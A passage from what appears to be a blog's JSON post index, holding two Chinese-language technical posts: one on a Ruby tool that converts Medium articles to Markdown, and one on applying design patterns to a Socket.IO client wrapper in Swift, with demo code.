Code 上管理、了解到目前 App 能支援的字串渲染類型。完整 Github Repo 如下===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Converting Medium Posts to Markdown", "url": "/posts/ddd88a84e177/", "categories": "ZRealm, Dev.", "tags": "medium, markdown, backup, ruby, automation", "date": "2022-05-28 15:04:35 +0800", "snippet": "Converting Medium Posts to Markdown撰寫小工具將 Medium 心血文章備份下來 & 轉換成 Markdown 格式ZhgChgLi / ZMediumToMarkdown[EN] ZMediumToMarkdownI’ve written a project to let you download Medium post and convert i...", "content": "Converting Medium Posts to Markdown撰寫小工具將 Medium 心血文章備份下來 & 轉換成 Markdown 格式ZhgChgLi / ZMediumToMarkdown[EN] ZMediumToMarkdownI’ve written a project to let you download Medium post and convert it to markdown format easily.Features Support download post and convert to markdown format Support download all posts and convert to markdown format from any user without login access. Support download paid content Support download all of post’s images to local and convert to local path Support parse Twitter tweet content to blockquote Support download paid content Support command line interface Convert Gist source code to markdown code block Convert youtube link which embed in post to preview image Adjust post’s last modification date from Medium to the local downloaded markdown file Auto skip when post has been downloaded and last modification date from Medium doesn’t changed (convenient for auto-sync or auto-backup service, to save server’s bandwidth and execution time) Support using Github Action as auto sync/backup service Highly optimized markdown format for Medium Native Markdown Style Render Engine (Feel free to contribute if you any optimize idea! MarkupStyleRender.rb ) jekyll & social share (og: tag) friendly 100% Ruby @ RubyGem[CH] ZMediumToMarkdown可針對 Medium 文章連結、Medium 使用者的所有文章,爬取其內容並轉換成 Markdwon 格式連同文章內圖片一同下載下來的備份小工具。[2022/07/18 Update]: 手把手教你無痛轉移 Medium 到自架網站特色功能 免登入、免特殊權限 支援單篇文章、使用者所有文章下載並轉換成 Markdown 支援下載備份文章內的所有圖片並轉換成對應圖片路徑 支援深度解析內嵌於文章中的 Gist 並轉換成相對語言的 Markdown Code Block 支援解析 Twitter 內容並轉貼到文章中 支援解析內嵌於文章中的 Youtube 影片,將轉換成影片預覽圖及連結顯示於 Markdown 使用者所有文章下載時會去掃描文章內有無嵌入關聯文章,有的話會將連結替換為本地 針對 Medium 格式樣式特別優化 自動將下載下來文章的最後修改/建立時間,更改為同 Medium 文章發佈時間 自動比對下載下來的文章最後修改,如果沒有小於 Medium 文章最後修改時間時則自動跳過(方便大家使用此工具建立自動 Sync/Backup 工具,此機制能節省 server 流量/時間) CLI 操作,支援自動化 本項目及本篇文章僅供技術研究,請勿用於任何商業用途,請勿用於非法用途,如有任何人憑此做何非法事情,均於作者無關,特此聲明。 請確認您有文章使用、著作權再行下載備份。起源經營 Medium 第三年,已累積發表超過 65 篇文章;所有文章都是我直接使用 Medium 平台撰寫,沒有其他備份;老實說一直很怕 Medium 平台有狀況或是其他因素導致這幾年的心血結晶消失。之前曾經手動備份過,非常無聊且浪費時間,所以一直在找尋一個可以自動把所有文章備份下載下來的工具、最好還能轉換成 Markdown 格式。備份需求 Markdown 格式 依照 User 能自動下載該 User 的所有 Medium Posts 文章圖片也要能被下載備份下來 要能 Parse Gist 成 Markdown Code Block(我的 Medium 大量使用 gist 嵌入 Source Code 所以這個功能很重要)備份方案Medium 官方官方雖然有提供匯出備份功能,但匯出格式僅能用於匯入 Medum、非 Markdown 或共通格式,而且不會處理 Github Gitst …等等 Embed 的內容。Medium 提供的 API 沒什麼在維護且只提供 Create Post 功能。 合理,因為 Medium 官方不希望使用者能輕易地將內容轉移至其他平台。Chrome Extension有找到試用了幾個 Chrome Extension (幾乎都被下架了),效果不好,一是要手動一篇文章一篇文章點進去備份、二是 Parse 出來的格式很多錯誤而且也無法深度 Parse Gist Source Code 出來、也無法備份文章的所有圖片下來。medium-to-markdown command line某位大神用 js 寫的,能達成基本的下載及轉換成 Markdown 功能,但一樣沒圖片備份、深度 Parse Gist Source Code。ZMediumToMarkdown苦無完美解決方案後,下定決心自行撰寫一個備份轉換工具;花費了大約三週的下班時間使用 Ruby 完成。技術細節如何透過輸入使用者名稱得到文章列表?1.取得 UserID:檢視使用者主頁(https://medium.com/@# {username} ) 原始碼可以找到 Username 對應的 UserID 這邊要注意因為 Meidum 重新開放自訂網域 所以要多處理 30X 轉址2.嗅探網路請求可以發現 Medium 使用 GraphQL 去取得主頁的文章列表資訊3.複製 Query & 替換 UserID 到請求資訊HOST: https://medium.com/_/graphqlMETHOD: POST4.取得 Response每次只能拿 10 筆,要分頁拿取。 文章列表:可以在 result[0]-&gt;userResult-&gt;homepagePostsConnection-&gt;posts 中取得 homepagePostsFrom 分頁資訊 :可以在 result[0]-&gt;userResult-&gt;homepagePostsConnection-&gt;pagingInfo-&gt;next 中取得將 homepagePostsFrom 帶入請求即可進行分頁存取, nil 時代表已沒有下一頁如何剖析文章內容?檢視文章原始碼後可發現,Medium 是使用 Apollo Client 服務進行架設;其端 HTML 實際是從 JS 渲染而來;因此可以再檢視原始碼中的 <script> 區段找到 window.__APOLLO_STATE__ 字段,內容就是整篇文章的段落架構,Medium 會把你整篇文章拆成一句一句的段落,再透過 JS 引擎渲染回 HTML。我們要做的事也一樣,解析這個 JSON,比對 Type 在 Markdown 的樣式,組合出 Markdown 格式。技術難點這邊有一個技術困難點就是在渲染段落文字樣式時,Medium 給的結構如下:\"Paragraph\": { \"text\": \"code in text, and link in text, and ZhgChgLi, and bold, and I, only i\", \"markups\": [ { \"type\": \"CODE\", \"start\": 5, \"end\": 7 }, { \"start\": 18, \"end\": 22, \"href\": \"http://zhgchg.li\", \"type\": \"LINK\" }, { \"type\": \"STRONG\", \"start\": 50, \"end\": 63 }, { \"type\": \"EM\", \"start\": 55, \"end\": 69 } ]}意思是 code in text, and link in text, and ZhgChgLi, and bold, and I, only i 這段文字的:- 第 5 到第 7 字元要標示為 程式碼 (用`Text`格式包裝)- 第 18 到第 22 字元要標示為 連結 (用[Text](URL)格式包裝)- 第 50 到第 63 字元要標示為 粗體(用*Text*格式包裝)- 第 55 到第 69 字元要標示為 斜體(用_Text_格式包裝)第 5 到 7 & 18 到 22 在這個例子裡好處理,因為沒有交錯到;但 50–63 & 55–69 會有交錯問題,Markdown 無法用以下交錯方式表示:code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, **only i_正確的組合結果如下:code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, _**_only i_50–55 STRONG 55–63 STRONG, EM 63–69 EM另外要需注意: 包裝格式的字串頭跟尾要能區別,Strong 只是剛好頭跟尾都是 ** ,如果是 Link 頭會是 [ 尾則是 ](URL) Markdown 符號與字串結合時要注意前後不能有空白,否則會失效完整問題請看此。這塊研究了好久,目前先使用現成套件解決 reverse_markdown 。 特別感謝前同事 Nick , Chun-Hsiu Liu ,James 協力研究,之後有時間再自己寫改成原生的。成果原文 -> 轉換後的 Markdown 結果有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Design Patterns 的實戰應用紀錄", "url": "/posts/78507a8de6a5/", "categories": "Pinkoi, Engineering", "tags": "ios-app-development, design-patterns, socketio, websocket, finite-state-machine", "date": "2022-04-07 22:49:17 +0800", "snippet": "Design Patterns 的實戰應用紀錄封裝 Socket.IO Client Library 需求時遇到的問題場景及解決方法應用到的 Design PatternsPhoto by Daniel McCullough前言此篇文章是真實的需求開發,所運用到 Design Pattern 解決問題的場景記錄;內容篇幅會涵蓋需求背景、實際遇到的問題場景 (What?)、為何要套用 Patt...", "content": "Design Patterns 的實戰應用紀錄封裝 Socket.IO Client Library 需求時遇到的問題場景及解決方法應用到的 Design PatternsPhoto by Daniel McCullough前言此篇文章是真實的需求開發,所運用到 Design Pattern 解決問題的場景記錄;內容篇幅會涵蓋需求背景、實際遇到的問題場景 (What?)、為何要套用 Pattern 解決問題 (Why?)、實作上如何使用 (How?),建議可以從頭閱讀會比較有連貫性。 本文會介紹四個開發此需求遇到的場景及七個解決此場景的 Design Patterns 應用。背景組織架構敝司於今年拆分出 Feature Teams (multiple) 與 Platform Team;前者不必多說主要負責使用者端需求、Platform Team 這邊則面對的是公司內部的成員,其中一個工作項目就是技術引入、基礎建設及做好系統性整合,為 Feature Teams 開發需求時先鋒鋪好道路。當前需求Feature Teams 要將原本的訊息功能 (進頁面打 API 拿訊息資料,要更新最新訊息只能重整) 改為 即時通訊 (能即時收到最新訊息、對傳訊息)。Platform Team 工作Platform Team 著重的點不只是當下的即時通訊需求,而是長遠的建設與複用性;評估後 webSocket 雙向通訊的機制在現代 App 中是不可或缺,除了此次的需求之外,以後也有很多機會都會用到,加上人力資源許可,故投入協助設計開發介面。目標: 封裝 Pinkoi Server Side 與 Socket.IO 通訊、身份驗證邏輯 封裝 Socket.IO 煩瑣操作,提供基於 Pinkoi 商業需求的可擴充及方便使用介面 統一雙平台介面 (Socket.IO 的 Android 與 iOS Client Side Library 支援的功能及介面不相同) Feature 端無需了解 Socket.IO 機制 Feature 端無需管理複雜的連線狀態 未來有 webSocket 雙向通訊需求能直接使用時間及人力: iOS & Android 各投入一位 開發時程:時程 3 週技術細節Web & iOS & Android 三平台均會支援此 Feature;要引入 webSocket 雙向通訊協議來實現,後端預計直接使用 Socket.io 服務。 首先要說 Socket != WebSocket關於 Socket 與 WebSocket 及技術細節可參考以下兩篇文章: Socket,Websocket,Socket.io的差異 为什么不直接使用socket ,还要定义一个新的websocket 的呢?簡而言之:Socket 是 TCP/UDP 傳輸層的抽象封裝介面,而 WebSocket 是應用層的傳輸協議。Socket 與 WebSocket 的關係就像狗跟熱狗的關係一樣,沒有關係。Socket.IO 是 Engine.IO 的一層抽象操作封裝,Engine.IO 則是對 WebSocket 的使用封裝,每層只負責對上對下之間的交流,不允許貫穿操作(e.g. Socket.IO 直接操作 WebSocket 連線)。Socket.IO/Engine.IO 除了基本的 WebSocket 連線外還實做了很多方便好用的功能集合(e.g. 離線發送 Event 機制、類似 Http Request 機制、Room/Group 機制…等等)。Platform Team 這層的主要職責是橋接 Socket.IO 與 Pinkoi Server Side 之間的邏輯,供應上層 Feature Teams 開發功能時使用。Socket.IO Swift Client 有坑 已許久未更新 (最新一版還在 2019),不確定是否還有在維護。 Client & Server Side Socket IO Version 要對齊,Server Side 可加上 {allowEIO3: true} / 或 Client Side 指定相同版本 .version 否則怎麼連都連不上。 命名方式、介面與官網範例很多都對不起來。 Socket.io 官網範例都是拿 Web 做介紹,實際上 Swift Client 並不一定有全支援官網寫的功能 。此次實作發現 iOS 這邊 Library 並未實現離線發送 Event 機制(我們是自行實現的,請往後繼續閱讀) 建議有要採用 Socket.IO 前先實驗看看你想要的機制是否支援。 Socket.IO Swift Client 是基於 Starscream WebSocket Library 的封裝,必要時可降級使用 Starscream。背景資訊補充到此結束,接下來進入正題。Design Patterns設計模式說穿了就只是軟體設計當中常見問題的解決方案,不一定要用設計模式才能開發、設計模式不一定能適用所有場景、也沒人說不能自行歸納出新的設計模式。The Catalog of Design Patterns但現有的設計模式 (The 23 Gang of Four Design Patterns) 已是軟體設計中的共同知識,只要提到 XXX Pattern 大家腦中就會有相應的架構藍圖,不需多做解釋、後續維護也比較好知道脈絡、且已是經過業界驗證的方法不太需要花時間審視物件依賴問題;在適合的場景選用適合的模式可以降低溝通及維護成本,提升開發效率。 設計模式可以組合使用,但不建議對現有設計模式魔改、強行為套用而套用、套用不符合分類的 Pattern (e.g. 用責任練模式來產生物件),會失去使用的意義更可能造成後續接手的人的誤會。本篇會提到的 Design Patterns: Singleton Pattern Flywieght Pattern Factory Pattern Command Pattern Finite-State Machine + State Pattern Chain Of Resposibility Builder Pattern會逐一在後面解釋什麼場境用了、為何要用。 本文著重在 Design Pattern 的應用,而非 Socket.IO 的操作,部分示例會因為描述方便而有所刪減, 無法適用真實的 Socket.IO 封裝 。 因篇幅有限,本文不會詳細介紹每個設計模式的架構,請先點各個模式的連結進入了解該模式的架構後再繼續閱讀。 Demo Code 會使用 Swift 撰寫。需求場景 1.What? 使用相同的 Path 在不同頁面、Object 請求 Connection 時能複用取得相同的物件。 Connection 需為抽象介面,不直接依賴 Socket.IO ObjectWhy? 減少記憶體開銷及重複連線的時間、流量成本。 為未來抽換成其他框架預留空間How? Singleton Pattern :創建型 Pattern,保證一個物件只會有一個實體。 Flywieght Pattern :結構型 Pattern,基於共享多個物件相同的狀態,重複使用。 Factory Pattern :創建型 Pattern,抽象物件產生方法,使其能在外部抽換。實際案例使用: Singleton Pattern: ConnectionManager 在 App Lifecycle 中僅存在一個的物件,用來管理 Connection 取用操作。 Flywieght Pattern: ConnectionPool 顧名思義就是 Connection 的共用池子,統一從這個池子的方法拿出 Connection,其中邏輯就會包含當發現 URL Path 一樣時直接給予已經在池子裡的 Connection。ConnectionHandler 則做為 Connection 的外在操作、狀態管理器。 Factory Pattern: ConnectionFactory 搭配上面 Flywieght Pattern 當發現池子沒有可複用的 Connection 時則用此工廠介面去產生。import Combineimport Foundationprotocol Connection { var url: URL {get} var id: UUID {get} init(url: URL) func connect() func disconnect() func sendEvent(_ event: String) func onEvent(_ event: String) -> AnyPublisher<Data?, Never>}protocol ConnectionFactory { func create(url: URL) -> Connection}class ConnectionPool { private let connectionFactory: ConnectionFactory private var connections: [Connection] = [] init(connectionFactory: ConnectionFactory) { self.connectionFactory = connectionFactory } func getOrCreateConnection(url: URL) -> Connection { if let connection = connections.first(where: { $0.url == url }) { return connection } else { let connection = connectionFactory.create(url: url) connections.append(connection) return connection } } }class ConnectionHandler { private let connection: Connection init(connection: Connection) { self.connection = connection } func getConnectionUUID() -> UUID { return connection.id }}class ConnectionManager { static let shared = ConnectionManager(connectionPool: ConnectionPool(connectionFactory: SIOConnectionFactory())) private let connectionPool: ConnectionPool private init(connectionPool: ConnectionPool) { self.connectionPool = connectionPool } // func requestConnectionHandler(url: URL) -> ConnectionHandler { let connection = connectionPool.getOrCreateConnection(url: url) return ConnectionHandler(connection: connection) }}// Socket.IO Implementationclass SIOConnection: Connection { let url: URL let id: UUID = UUID() required init(url: URL) { self.url = url // } func connect() { // } func disconnect() { // } func sendEvent(_ event: String) { // } func onEvent(_ event: String) -> AnyPublisher<Data?, Never> { // return PassthroughSubject<Data?, Never>().eraseToAnyPublisher() }}class SIOConnectionFactory: ConnectionFactory { func create(url: URL) -> Connection { // return SIOConnection(url: url) }}//print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: \"wss://pinkoi.com/1\")!).getConnectionUUID().uuidString)print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: \"wss://pinkoi.com/1\")!).getConnectionUUID().uuidString)print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: \"wss://pinkoi.com/2\")!).getConnectionUUID().uuidString)// output:// D99F5429-1C6D-4EB5-A56E-9373D6F37307// D99F5429-1C6D-4EB5-A56E-9373D6F37307// 599CF16F-3D7C-49CF-817B-5A57C119FE31需求場景 2.What?如背景技術細節所述,Socket.IO Swift Client 的 Send Event 並不支援離線發送 (但 Web/Android 版的 Library 卻可以),因此 iOS 端需要自行實現此功能。神奇的是 Socket.IO Swift Client - onEvent 是支援離線訂閱的。Why? 跨平台功能統一 程式碼容易理解How? Command Pattern :行為型 Pattern,將操作包裝成對象,提供隊列、延遲、取消…等等集合操作。 Command Pattern: SIOManager 為與 Socket.IO 溝通的最底層封裝,其中的 send 、 request 方法都是對 Socket.IO Send Event 的操作,當發現當前 Socket.IO 處於斷線狀態,則將請求參數放到 bufferedCommands 中,當連上之後就逐一拿出來處理 (First In First Out)。protocol BufferedCommand { var sioManager: SIOManagerSpec? { get set } var event: String { get } func execute()}struct SendBufferedCommand: BufferedCommand { let event: String weak var sioManager: SIOManagerSpec? func execute() { sioManager?.send(event) }}struct RequestBufferedCommand: BufferedCommand { let event: String let callback: (Data?) -> Void weak var sioManager: SIOManagerSpec? func execute() { sioManager?.request(event, callback: callback) }}protocol SIOManagerSpec: AnyObject { func connect() func disconnect() func onEvent(event: String, callback: @escaping (Data?) -> Void) func send(_ event: String) func request(_ event: String, callback: @escaping (Data?) -> Void)}enum ConnectionState { case created case connected case disconnected case reconnecting case released}class SIOManager: SIOManagerSpec { var state: ConnectionState = .disconnected { didSet { if state == .connected { executeBufferedCommands() } } } private var bufferedCommands: [BufferedCommand] = [] func connect() { state = .connected } func disconnect() { state = .disconnected } func send(_ event: String) { guard state == .connected else { appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self)) return } print(\"Send:\\(event)\") } func request(_ event: String, callback: @escaping (Data?) -> Void) { guard state == .connected else { appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self)) return } print(\"request:\\(event)\") } func onEvent(event: String, callback: @escaping (Data?) -> Void) { // } func appendBufferedCommands(connectionCommand: BufferedCommand) { bufferedCommands.append(connectionCommand) } func executeBufferedCommands() { // First in, first out bufferedCommands.forEach { connectionCommand in connectionCommand.execute() } bufferedCommands.removeAll() } func removeAllBufferedCommands() { bufferedCommands.removeAll() }}let manager = SIOManager()manager.send(\"send_event_1\")manager.send(\"send_event_2\")manager.request(\"request_event_1\") { _ in //}manager.state = .connected同理也可以實現到 onEvent 上。延伸:可以再套用 Proxy Pattern ,將 Buffer 功能視為一種 Proxy。需求場景 3.What?Connection 有多個狀態,有序的狀態與狀態間切換、各狀態允許不同的操作。 Created:物件被建立,允許 -> Connected 或直接進 Disconnected Connected:已連上 Socket.IO,允許 -> Disconnected Disconnected:已與 Socket.IO 斷線,允許 -> Reconnectiong 、 Released Reconnectiong:正在嘗試重新連上 Socket.IO,允許 -> Connected 、 Disconnected Released:物件已被標示為等待被記憶體回收,不允許任何操作及切換狀態Why? 狀態與狀態的切換邏輯跟表述不容易 各狀態要限制操作方法(e.g. State = Released 時無法 Call Send Event),直接使用 if. .else 會讓程式難以維護閱讀How? Finite State Machine :管理狀態間的切換 State Pattern :行為型 Pattern,對象的狀態有變化時,有不同的相應處理 Finite State Machine : SIOConnectionStateMachine 為狀態機實作, currentSIOConnectionState 為當前狀態, created、connected、disconnected、reconnecting、released 表列出此狀態機可能的切換狀態。enterXXXState() throws 為從 Current State 進入某個狀態時的允許與不允許(throw error)實作。 State Pattern : SIOConnectionState 為所有狀態會用到的操作方法介面抽象。protocol SIOManagerSpec: AnyObject { func connect() func disconnect() func onEvent(event: String, callback: @escaping (Data?) -> Void) func send(_ event: String) func request(_ event: String, callback: @escaping (Data?) -> Void)}enum ConnectionState { case created case connected case disconnected case reconnecting case released}class SIOManager: SIOManagerSpec { var state: ConnectionState = .disconnected { didSet { if state == .connected { executeBufferedCommands() } } } private var bufferedCommands: [BufferedCommand] = [] func connect() { state = .connected } func disconnect() { state = .disconnected } func send(_ event: String) { guard state == .connected else { appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self)) return } print(\"Send:\\(event)\") } func request(_ event: String, callback: @escaping (Data?) -> Void) { guard state == .connected else { appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self)) return } print(\"request:\\(event)\") } func onEvent(event: String, callback: @escaping (Data?) -> Void) { // } func appendBufferedCommands(connectionCommand: BufferedCommand) { bufferedCommands.append(connectionCommand) } func executeBufferedCommands() { // First in, first out bufferedCommands.forEach { connectionCommand in connectionCommand.execute() } bufferedCommands.removeAll() } func removeAllBufferedCommands() { bufferedCommands.removeAll() }}let manager = SIOManager()manager.send(\"send_event_1\")manager.send(\"send_event_2\")manager.request(\"request_event_1\") { _ in //}manager.state = .connected//class SIOConnectionStateMachine { private(set) var currentSIOConnectionState: SIOConnectionState! private var created: SIOConnectionState! private var connected: SIOConnectionState! private var disconnected: SIOConnectionState! private var reconnecting: SIOConnectionState! private var released: SIOConnectionState! init() { self.created = SIOConnectionCreatedState(stateMachine: self) self.connected = SIOConnectionConnectedState(stateMachine: self) self.disconnected = SIOConnectionDisconnectedState(stateMachine: self) self.reconnecting = SIOConnectionReconnectingState(stateMachine: self) self.released = SIOConnectionReleasedState(stateMachine: self) self.currentSIOConnectionState = created } func enterConnected() throws { if [created.connectionState, reconnecting.connectionState].contains(currentSIOConnectionState.connectionState) { enter(connected) } else { throw SIOConnectionStateMachineError(\"\\(currentSIOConnectionState.connectionState) can't enter to Connected\") } } func enterDisconnected() throws { if [created.connectionState, connected.connectionState, reconnecting.connectionState].contains(currentSIOConnectionState.connectionState) { enter(disconnected) } else { throw SIOConnectionStateMachineError(\"\\(currentSIOConnectionState.connectionState) can't enter to Disconnected\") } } func enterReconnecting() throws { if [disconnected.connectionState].contains(currentSIOConnectionState.connectionState) { enter(reconnecting) } else { throw SIOConnectionStateMachineError(\"\\(currentSIOConnectionState.connectionState) can't enter to Reconnecting\") } } func enterReleased() throws { if [disconnected.connectionState].contains(currentSIOConnectionState.connectionState) { enter(released) } else { throw SIOConnectionStateMachineError(\"\\(currentSIOConnectionState.connectionState) can't enter to Released\") } } private func enter(_ state: SIOConnectionState) { currentSIOConnectionState = state }}protocol SIOConnectionState { var connectionState: ConnectionState { get } var stateMachine: SIOConnectionStateMachine { get } init(stateMachine: SIOConnectionStateMachine) func onConnected() throws func onDisconnected() throws func connect(socketManager: SIOManagerSpec) throws func disconnect(socketManager: SIOManagerSpec) throws func release(socketManager: SIOManagerSpec) throws func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws func send(socketManager: SIOManagerSpec, event: String) throws}struct SIOConnectionStateMachineError: Error { let message: String init(_ message: String) { self.message = message } var localizedDescription: String { return message }}class SIOConnectionCreatedState: SIOConnectionState { let connectionState: ConnectionState = .created let stateMachine: SIOConnectionStateMachine required init(stateMachine: SIOConnectionStateMachine) { self.stateMachine = stateMachine } func onConnected() throws { try stateMachine.enterConnected() } func onDisconnected() throws { try stateMachine.enterDisconnected() } func release(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ConnectedState can't release!\") } func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func send(socketManager: SIOManagerSpec, event: String) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func connect(socketManager: SIOManagerSpec) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func disconnect(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"CreatedState can't disconnect!\") }}class SIOConnectionConnectedState: SIOConnectionState { let connectionState: ConnectionState = .connected let stateMachine: SIOConnectionStateMachine required init(stateMachine: SIOConnectionStateMachine) { self.stateMachine = stateMachine } func onConnected() throws { // } func onDisconnected() throws { try stateMachine.enterDisconnected() } func release(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ConnectedState can't release!\") } func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func send(socketManager: SIOManagerSpec, event: String) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func connect(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ConnectedState can't connect!\") } func disconnect(socketManager: SIOManagerSpec) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) }}class SIOConnectionDisconnectedState: SIOConnectionState { let connectionState: ConnectionState = .disconnected let stateMachine: SIOConnectionStateMachine required init(stateMachine: SIOConnectionStateMachine) { self.stateMachine = stateMachine } func onConnected() throws { try stateMachine.enterConnected() } func onDisconnected() throws { // } func release(socketManager: SIOManagerSpec) throws { try stateMachine.enterReleased() // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func send(socketManager: SIOManagerSpec, event: String) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func connect(socketManager: SIOManagerSpec) throws { try stateMachine.enterReconnecting() // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func disconnect(socketManager: SIOManagerSpec) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) }}class SIOConnectionReconnectingState: SIOConnectionState { let connectionState: ConnectionState = .reconnecting let stateMachine: SIOConnectionStateMachine required init(stateMachine: SIOConnectionStateMachine) { self.stateMachine = stateMachine } func onConnected() throws { try stateMachine.enterConnected() } func onDisconnected() throws { try stateMachine.enterDisconnected() } func release(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ReconnectState can't release!\") } func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func send(socketManager: SIOManagerSpec, event: String) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) } func connect(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ReconnectState can't connect!\") } func disconnect(socketManager: SIOManagerSpec) throws { // allow // can use Helper to reduce the repeating code // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) }}class SIOConnectionReleasedState: SIOConnectionState { let connectionState: ConnectionState = .released let stateMachine: SIOConnectionStateMachine required init(stateMachine: SIOConnectionStateMachine) { self.stateMachine = stateMachine } func onConnected() throws { throw SIOConnectionStateMachineError(\"ReleasedState can't onConnected!\") } func onDisconnected() throws { throw SIOConnectionStateMachineError(\"ReleasedState can't onDisconnected!\") } func release(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ReleasedState can't release!\") } func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { throw SIOConnectionStateMachineError(\"ReleasedState can't request!\") } func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { throw SIOConnectionStateMachineError(\"ReleasedState can't receiveOn!\") } func send(socketManager: SIOManagerSpec, event: String) throws { throw SIOConnectionStateMachineError(\"ReleasedState can't send!\") } func connect(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ReleasedState can't connect!\") } func disconnect(socketManager: SIOManagerSpec) throws { throw SIOConnectionStateMachineError(\"ReleasedState can't disconnect!\") }}do { let stateMachine = SIOConnectionStateMachine() // mock on socket.io connect: // socketIO.on(connect){ try stateMachine.currentSIOConnectionState.onConnected() try stateMachine.currentSIOConnectionState.send(socketManager: manager, event: \"test\") try stateMachine.currentSIOConnectionState.release(socketManager: manager) try stateMachine.currentSIOConnectionState.send(socketManager: manager, event: \"test\") // }} catch { print(\"error: \\(error)\")}// output:// error: SIOConnectionStateMachineError(message: \"ConnectedState can\\'t release!\")需求場景 3.What?結合場景 1. 2.,有了 ConnectionPool 享元池子加上 State Pattern 狀態管理後;我們繼續往下延伸,如背景目標所述,Feature 端不需去管背後 Connection 的連線機制;因此我們建立了一個輪詢器 (命名為 ConnectionKeeper ) 會定時掃描 ConnectionPool 中強持有的 Connection ,並在發生以下狀況時做操作: Connection 有人在使用且狀態非 Connected :將狀態改為 Reconnecting 並嘗試重新連線 Connection 已無人使用且狀態為 Connected :將狀態改為 Disconnected Connection 已無人使用且狀態為 Disconnected :將狀態改為 Released 並從 ConnectionPool 中移除Why? 三個操作有上下關係且互斥 (disconnected -> released or reconnecting) 可彈性抽換、增加狀況操作 未封裝的話只能將三個判斷及操作直接寫在方法中 (難以測試其中邏輯) e.g:if !connection.isOccupie() && connection.state == .connected then... connection.disconnected()else if !connection.isOccupie() && state == .released then... connection.release()else if connection.isOccupie() && state == .disconnected then... connection.reconnecting()endHow? Chain Of Resposibility :行為型 Pattern,顧名思義是一條鏈,每個節點都有相應的操作,輸入資料後節點可決定是否要操作還是丟給下一個節點處理,另一個現實應用是 iOS Responder Chain 。 照定義 Chain of responsibility Pattern 是不允許某個節點已經接下處理資料,但處理完又丟給下一個節點繼續處理, 要做就做完,不然不要做 。 如果是上述場景比較適合的應該是 Interceptor Pattern 。 Chain of responsibility: ConnectionKeeperHandler 為鍊的節點抽象,特別抽出 canExcute 方法避免發生上述 這個節點接下來處理了,但做完又想呼叫後面的節點繼續執行的狀況、 handle 為鍊的節點串連、 excute 為要處理的話會怎麼處理的邏輯。ConnectionKeeperHandlerContext 用來存放會用到的資料, isOccupie 代表 Connection 有無人在使用。enum ConnectionState { case created case connected case disconnected case reconnecting case released}protocol Connection { var connectionState: ConnectionState {get} var url: URL {get} var id: UUID {get} init(url: URL) func connect() func reconnect() func disconnect() func sendEvent(_ event: String) func onEvent(_ event: String) -> AnyPublisher<Data?, Never>}// Socket.IO Implementationclass SIOConnection: Connection { let connectionState: ConnectionState = .created let url: URL let id: UUID = UUID() required init(url: URL) { self.url = url // } func connect() { 